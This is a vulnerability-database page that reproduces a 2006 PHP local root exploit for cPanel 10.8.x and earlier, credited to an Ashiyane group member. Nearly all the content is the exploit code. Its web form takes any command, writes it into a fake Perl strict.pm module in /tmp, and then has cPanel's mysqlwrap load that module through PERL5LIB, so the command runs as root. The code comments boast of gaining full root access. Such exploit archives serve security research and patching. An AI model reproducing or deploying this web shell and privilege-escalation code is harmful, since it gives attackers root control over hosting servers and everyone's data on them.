Lucene search
K

cPanel <= 10.8.x (cpwrap via mysqladmin) Local Root Exploit (php)

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 17 Views

cPanel Local Root Exploit (php) via cpwrap and mysqladmi

Code

                                                &#60;!- for use old cpanel exploit ( http://www.milw0rm.com/exploits/2466 ) you need have
&#60;!- bash shell access on victim server but with this new exploit you only need
&#60;!- to upload php file and run this into browser on victim servers.
&#60;!- then you have root Access and you can do anything ....
&#60;!- Coded by nima salehi ( [email protected] )
&#60;!- Ashiyane Security Corporation www.Ashiyane.ir &#62;
&#60;title&#62;cPanel &#60;= 10.8.x cpwrap root exploit (PHP)&#60;/title&#62;
&#60;center&#62;&#60;img border=&#34;2&#34; src=&#34;http://www.ashiyane.ir/images/logo.jpg&#34; width=&#34;429&#34; height=&#34;97&#34;&#62;&#60;br&#62;&#60;br&#62;
&#60;?

if (@ini_get(&#34;safe_mode&#34;) or strtolower(@ini_get(&#34;safe_mode&#34;)) == &#34;on&#34;)
{
echo &#34;&#60;br&#62;&#60;br&#62;&#60;br&#62;&#60;br&#62;&#60;br&#62;&#60;b&#62;Sorry Safe-mode Is On ( Script Not Work On This Server ) &#60;/b&#62;&#60;br&#62;&#60;br&#62;&#60;br&#62;&#60;br&#62;&#60;br&#62;&#34;;
echo &#34;&#60;br&#62;&#60;br&#62;&#60;br&#62;Powered By Ashiyane Security Corporation &#60;a href=\&#34;http://www.ashiyane.ir\&#34;&#62; www.Ashiyane.ir&#34;;
exit();
}

$disablef = @ini_get(&#34;disable_functions&#34;);
if (!empty($disablef))
{
 $disablef = str_replace(&#34; &#34;,&#34;&#34;,$disablef);
 $disablef = explode(&#34;,&#34;,$disablef);
 if (in_array(&#34;passthru&#34;,$disablef))
 {
 echo &#34;&#60;br&#62;&#60;br&#62;&#60;br&#62;&#60;br&#62;&#60;br&#62;&#60;b&#62;Sorry Passthru Is Disable ( Script Not Work On This Server ) &#60;/b&#62;&#60;br&#62;&#60;br&#62;&#60;br&#62;&#60;br&#62;&#60;br&#62;&#34;;
 echo &#34;&#60;br&#62;&#60;br&#62;&#60;br&#62;Powered By Ashiyane Security Corporation &#60;a href=\&#34;http://www.ashiyane.ir\&#34;&#62; www.Ashiyane.ir&#34;;
 exit();
 }
}

?&#62;

&#60;form method=&#34;POST&#34; action=&#34;&#60;?php echo $surl; ?&#62;&#34;&#62;
Command : &#60;input type=&#34;text&#34; name=&#34;c&#34; size=&#34;40&#34;&#62;
&#60;input type=&#34;submit&#34; value=&#34;  Run  &#34; name=&#34;B1&#34;&#62;&#60;/form&#62;
&#60;textarea cols=&#34;60&#34; rows=&#34;20&#34; readonly&#62;
&#60;?php
$cmd=$_POST[&#39;c&#39;];
if ( $cmd != &#34;&#34; )
{
$f=fopen(&#34;/tmp/strict.pm&#34;, &#34;w&#34;);
fputs($f,&#39;system(&#34;&#39;.$cmd.&#39;&#34;);&#39;);
fclose($f);
passthru(&#34;PERL5LIB=/tmp /usr/local/cpanel/bin/mysqlwrap nima&#34;);
}
?&#62;
&#60;/textarea&#62;
&#60;br&#62;
Powered By  Ashiyane Security Corporation &#60;a href=&#34;http://www.ashiyane.ir&#34;&#62; www.Ashiyane.ir
&#60;/center&#62;

# milw0rm.com [2006-10-13]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
17